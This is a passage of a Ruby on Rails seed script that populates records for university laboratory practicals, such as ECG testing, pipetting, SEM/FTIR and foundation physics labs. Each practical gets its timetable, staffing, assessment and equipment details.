Labs\", marking_time: 10, staff_ratio: nil)\n ActivityAssess.where(activity_id: a515.id).first_or_create!(assess_weight: nil, notes: \"Data presentation\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a515.id).first_or_create!(cost_per_student: nil, equip_needed: \"ADInstruments kits, laptops\",\n last_risk_assess: nil, next_risk_assess: Date.new(19, 10, 1), tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a515.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a516 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"BIE291\").first.id, code: \"327\").first_or_create!(name: \"Physiological testing 1: ECG\",\n name_abrv: \"PHYTEST1\", archived: false, in_drive: false, user_id: 3)\n at516 = ActivityTimetable.where(activity_id: a516.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 4, max_week_num: 7, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 20, setup_time: 45, takedown_time: 45, notes: \"ECG to be before investigating physiological signals\",\n capacity: nil, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a516.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a516.id).first_or_create!(criteria: \"Understanding of physiology and spreadsheets. Knowledge of signal transduction desirable.\",\n job_desc:\"ECG using ADInstruments PowerLab hardware and LabChart software.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: 20, staff_ratio: nil)\n ActivityAssess.where(activity_id: a516.id).first_or_create!(assess_weight: nil, notes: \"Data presentation\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a516.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: Date.new(19, 10, 1), tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a516.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a517 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"BIE291\").first.id, code: \"328\").first_or_create!(name: \"Physiological testing 2: Investigating physiological signals\",\n name_abrv: \"PHYTEST2\", archived: false, in_drive: false, user_id: 4)\n at517 = ActivityTimetable.where(activity_id: a517.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 5, max_week_num: 8, pref_room_id: $room_vr.id,\n same_as_prev_year: true, series_setup_time: 10, setup_time: 30, takedown_time: 30, notes: \"Investigating physiological signals to follow ECG.\",\n capacity: 20, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a517.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a517.id).first_or_create!(criteria: \"Understanding of physiology and spreadsheets. Knowledge of signal transduction desirable.\",\n job_desc:\"Investigating physiological responses using virtual reality - using the ADInstruments PowerLab hardware and LabChart software.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: 20, staff_ratio: nil)\n ActivityAssess.where(activity_id: a517.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a517.id).first_or_create!(cost_per_student: nil, equip_needed: \"ADInstruments kits, laptops, Oculus Rift headsets, VAR computers\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a517.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a518 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE6116\").first.id, code: \"329\").first_or_create!(name: \"Pipetting and spectrophotometry\",\n name_abrv: \"PIP&SPEC\", archived: false, in_drive: false, user_id: 2)\n at518 = ActivityTimetable.where(activity_id: a518.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 3, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 180, takedown_time: 60, notes: \"1. Pipetting & S\n 2. Buffers\n 3. E.Coli Trans\n 4. DNA Extract\n 5. Bioreactors\n 6. Bio scale up\n 7. Glucose Assay\n 8. FPLC\n 9. HPLC\n 10.Pract Exam\",\n capacity: 30, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at518.id, room_id: $room_blt.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a518.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a518.id).first_or_create!(criteria: \"Competent user of micropipettes and motorised pipettors. Basic spectrophotometry. Understanding of Enzymes desirable.\",\n job_desc:\"Using micropipettes and motorized pipette aids. Investigating the effect of pH on enzyme activity of aryl sulphatase by measuring the absorbance of nitrocatechol.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a518.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a518.id).first_or_create!(cost_per_student: nil, equip_needed: \"Spectrophotometers, balances, motorised and micropipettes\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a518.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a519 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2410\").first.id, code: \"330\").first_or_create!(name: \"Polymers and hydrogels\",\n name_abrv: \"POLY&HYDROGELS\", archived: false, in_drive: false, user_id: 2)\n at519 = ActivityTimetable.where(activity_id: a519.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 10, pref_room_id: $room_blt.id,\n same_as_prev_year: true, series_setup_time: 180, setup_time: 240, takedown_time: 240, notes: \"\",\n capacity: 25, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at519.id, room_id: $room_blb.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a519.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a519.id).first_or_create!(criteria: \"Understaning the propeties of polymers. Knowldge of their application in tissue engineering is desirable.\",\n job_desc:\"Investigating the properties of polymers, including hydrogels, and immobilizing yeast in alginate beads.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a519.id).first_or_create!(assess_weight: nil, notes: \"Post is short essay\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a519.id).first_or_create!(cost_per_student: nil, equip_needed: \"Balances, gas syringes, clamps and stands, water baths\",\n last_risk_assess: nil, next_risk_assess: Date.new(20, 2, 27), tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a519.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a520 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE6116\").first.id, code: \"331\").first_or_create!(name: \"Practical exam\",\n name_abrv: \"PRACEXAM\", archived: false, in_drive: false, user_id: 3)\n at520 = ActivityTimetable.where(activity_id: a520.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 10, pref_room_id: $room_blb.id,\n same_as_prev_year: true, series_setup_time: 120, setup_time: 180, takedown_time: 60, notes: \"1. Pipetting & S\n 2. Buffers\n 3. E.Coli Trans\n 4. DNA Extract\n 5. Bioreactors\n 6. Bio scale up\n 7. Glucose Assay\n 8. FPLC\n 9. HPLC\n 10.Pract Exam\",\n capacity: 15, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at520.id, room_id: $room_blt.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a520.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a520.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a520.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a520.id).first_or_create!(cost_per_student: nil, equip_needed: \"Plate reader, static incubator, pipettes\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a520.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a521 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1410\").first.id, code: \"332\").first_or_create!(name: \"Protein detection\",\n name_abrv: \"PROTEIN\", archived: false, in_drive: false, user_id: 2)\n at521 = ActivityTimetable.where(activity_id: a521.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 6, max_week_num: 10, pref_room_id: $room_blt.id,\n same_as_prev_year: true, series_setup_time: 75, setup_time: 150, takedown_time: 60, notes: \"protein dection must be after pipetting.\",\n capacity: 30, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at521.id, room_id: $room_blb.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a521.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a521.id).first_or_create!(criteria: \"Competent user of micropipettes. Understanding of basic spectrophotometry, serial dilution and replicates.\",\n job_desc:\"Using the BCA assay to quantify protein in 5 biological samples.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: 10, staff_ratio: nil)\n ActivityAssess.where(activity_id: a521.id).first_or_create!(assess_weight: nil, notes: \"Data interpretation, graph and calculations.\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a521.id).first_or_create!(cost_per_student: nil, equip_needed: \"Micropipettes, plate reader/s, computer\",\n last_risk_assess: nil, next_risk_assess: Date.new(19, 7, 19), tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a521.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a522 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT408\").first.id, code: \"333\").first_or_create!(name: \"SEM and FTIR\",\n name_abrv: \"SEM/FTIR\", archived: false, in_drive: false, user_id: 1)\n at522 = ActivityTimetable.where(activity_id: a522.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 6, pref_room_id: $room_ml.id,\n same_as_prev_year: true, series_setup_time: 15, setup_time: 30, takedown_time: 30, notes: \"\",\n capacity: 20, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a522.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a522.id).first_or_create!(criteria: \"Knowledge of characterising biomaterials and experience using SEM and FTIR desirable, but training can be provided.\",\n job_desc:\"Analysing the surface of biomaterials using SEM and characterising the chemical composition of the materials using FTIR spectroscopy.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a522.id).first_or_create!(assess_weight: nil, notes: \"Google SIte. Includes live cell imaging.\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a522.id).first_or_create!(cost_per_student: nil, equip_needed: \"SEM, FTIR, sample materials\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a522.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a523 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT6311\").first.id, code: \"333\").first_or_create!(name: \"SEM and FTIR\",\n name_abrv: \"SEM/FTIR\", archived: true, in_drive: false, user_id: 4)\n at523 = ActivityTimetable.where(activity_id: a523.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a523.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a523.id).first_or_create!(criteria: \"Knowledge of characterising biomaterials and experience using SEM and FTIR desirable, but training can be provided.\",\n job_desc:\"Analysing the surface of biomaterials using SEM and characterising the chemical composition of the materials using FTIR spectroscopy.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a523.id).first_or_create!(assess_weight: nil, notes: \"Google SIte. Includes live cell imaging.\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a523.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a523.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a524 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2410\").first.id, code: \"334\").first_or_create!(name: \"Superhydrophobic surfaces\",\n name_abrv: \"SUPERSURF\", archived: false, in_drive: false, user_id: 2)\n at524 = ActivityTimetable.where(activity_id: a524.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 2, max_week_num: 10, pref_room_id: $room_blt.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 120, takedown_time: 60, notes: \"\",\n capacity: 25, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at524.id, room_id: $room_blb.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a524.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a524.id).first_or_create!(criteria: \"Knowledge of the hydrophilic and hydrophobic nature of materials and how this property is applied in tissue engineering/medical implants & devices.\",\n job_desc:\"Making a superhydrophobic surface and investigating hydrophilicity and hydrophobicity of materials (water contact angle)\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: 15, staff_ratio: nil)\n ActivityAssess.where(activity_id: a524.id).first_or_create!(assess_weight: nil, notes: \"Post is short essay\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a524.id).first_or_create!(cost_per_student: nil, equip_needed: \"LEV, micropipetees, contact angle measurers, digital cameras\",\n last_risk_assess: nil, next_risk_assess: Date.new(19, 10, 2), tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a524.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a525 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"BIE103\").first.id, code: \"335\").first_or_create!(name: \"Tensile testing of nylon\",\n name_abrv: \"NYLONTEST\", archived: false, in_drive: false, user_id: 4)\n at525 = ActivityTimetable.where(activity_id: a525.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: 2, max_week_num: 10, pref_room_id: $room_sd.id,\n same_as_prev_year: true, series_setup_time: 60, setup_time: 180, takedown_time: 120, notes: \"This is one of 3 experiments for this module.\",\n capacity: 30, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a525.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a525.id).first_or_create!(criteria: \"Experience of tensile testing and use of Shimadzu testing frames is desirable.\",\n job_desc:\"Tensile testing of nylon and polypropylene using Shimadzu testing frames and FTIR spectroscopy.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a525.id).first_or_create!(assess_weight: nil, notes: \"Assessed during lab session\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_sum.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a525.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a525.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a526 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"BIE201\").first.id, code: \"336\").first_or_create!(name: \"Building a Bioreactor\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at526 = ActivityTimetable.where(activity_id: a526.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 1, max_week_num: 11, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"Mobile units of parts so can work in any lab with 80 capactity and flat space\",\n capacity: 80, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a526.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a526.id).first_or_create!(criteria: \"Electronics and coding, culture of algae, using bioreactors, carrying out biochemical assays.\",\n job_desc:\"In teams of 5, students will build a bioreactor for culturing the green micro-algae, Dunaliella salina, using a range of electronic components to control heating, stirring and pH. Dunaliella salina will be cultured in a range of salt solutions and the production of glycerol measured. This will take place over 6x 2 hour lab sessions.\", jobshop_desc: \"GTA in MEE, the Diamond: Bioengineering Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a526.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a526.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a526.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a529 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"BIE6413\").first.id, code: \"33\").first_or_create!(name: \"NAME NOT GIVEN\",\n name_abrv: \"\", archived: true, in_drive: false, user_id: 2)\n at529 = ActivityTimetable.where(activity_id: a529.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_vr.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a529.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a529.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a529.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a529.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a529.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a530 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"BIE6410\").first.id, code: \"340\").first_or_create!(name: \"NAME NOT GIVEN\",\n name_abrv: \"\", archived: true, in_drive: false, user_id: 5)\n at530 = ActivityTimetable.where(activity_id: a530.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_vr.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 20, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a530.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a530.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a530.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_form.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a530.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a530.id, programme_id: $prog_bio.id).first_or_create!\n\n\n a531 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode10\").first_or_create!(name: \"Simple Harmonic Motion\",\n name_abrv: \"SHM\", archived: false, in_drive: false, user_id: 5)\n at531 = ActivityTimetable.where(activity_id: a531.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 4, max_week_num: 5, pref_room_id: $room_fl.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at531.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a531.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a531.id).first_or_create!(criteria: \"Must have A level Physics\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a531.id).first_or_create!(assess_weight: 3.0, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: nil)\n ActivityTech.where(activity_id: a531.id).first_or_create!(cost_per_student: nil, equip_needed: \"U-tube boards, water, funnels, 1m rule, stop watch, vernier calipers\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a531.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a532 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode11\").first_or_create!(name: \"Velocity & Drag\",\n name_abrv: \"VEL_DRAG\", archived: false, in_drive: false, user_id: 1)\n at532 = ActivityTimetable.where(activity_id: a532.id).first_or_create!(duration: 30, kit_prep_time: nil, min_week_num: 6, max_week_num: 7, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 30, takedown_time: 30, notes: \"Cannot be timetabled with another lab as the students need ear protectors\",\n capacity: 16, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a532.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a532.id).first_or_create!(criteria: \"Must have A level Physics\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a532.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: nil)\n ActivityTech.where(activity_id: a532.id).first_or_create!(cost_per_student: nil, equip_needed: \"Armfield wind tunnels\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a532.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a533 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode12\").first_or_create!(name: \"Waves\",\n name_abrv: \"WAVES\", archived: false, in_drive: false, user_id: 5)\n at533 = ActivityTimetable.where(activity_id: a533.id).first_or_create!(duration: 90, kit_prep_time: nil, min_week_num: 4, max_week_num: 5, pref_room_id: $room_fl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 60, takedown_time: 120, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at533.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a533.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a533.id).first_or_create!(criteria: \"Must have A level Physics\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: 4, staff_ratio: nil)\n ActivityAssess.where(activity_id: a533.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a533.id).first_or_create!(cost_per_student: nil, equip_needed: \"water trays, water, jugs, dyes, stop watch, 1m rule, vernier calipers\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a533.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a534 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode13\").first_or_create!(name: \"Motion & Energy\",\n name_abrv: \"MOTION\", archived: false, in_drive: false, user_id: 3)\n at534 = ActivityTimetable.where(activity_id: a534.id).first_or_create!(duration: 105, kit_prep_time: nil, min_week_num: 6, max_week_num: 7, pref_room_id: $room_tl.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at534.id, room_id: $room_fl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a534.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a534.id).first_or_create!(criteria: \"Must have A level Physics\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: 2, staff_ratio: nil)\n ActivityAssess.where(activity_id: a534.id).first_or_create!(assess_weight: 1.5, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: nil)\n ActivityTech.where(activity_id: a534.id).first_or_create!(cost_per_student: nil, equip_needed: \"Galileo track, 3 spheres, 1m rule, stop watches, pens\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a534.id, programme_id: $prog_fy.id).first_or_create!\n\n\n a535 = Activity.where(theme_id: $fndy.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode14\").first_or_create!(name: \"Catapult Challenge\",\n name_abrv: \"CATAPULT\", archived: false, in_drive: false, user_id: 2)\n at535 = ActivityTimetable.where(activity_id: a535.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 120, takedown_time: 120, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n RoomBooking.where(activity_timetable_id: at535.id, room_id: $room_tl.id).first_or_create!\n\n ActivityTeaching.where(activity_id: a535.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a535.id).first_or_create!(criteria: \"Safety of hand tools\",\n job_desc:\"\", jobshop_desc: \"GTA in Multidisciplinary Labs for Science & Engineering Foundation Year students\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a535.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: 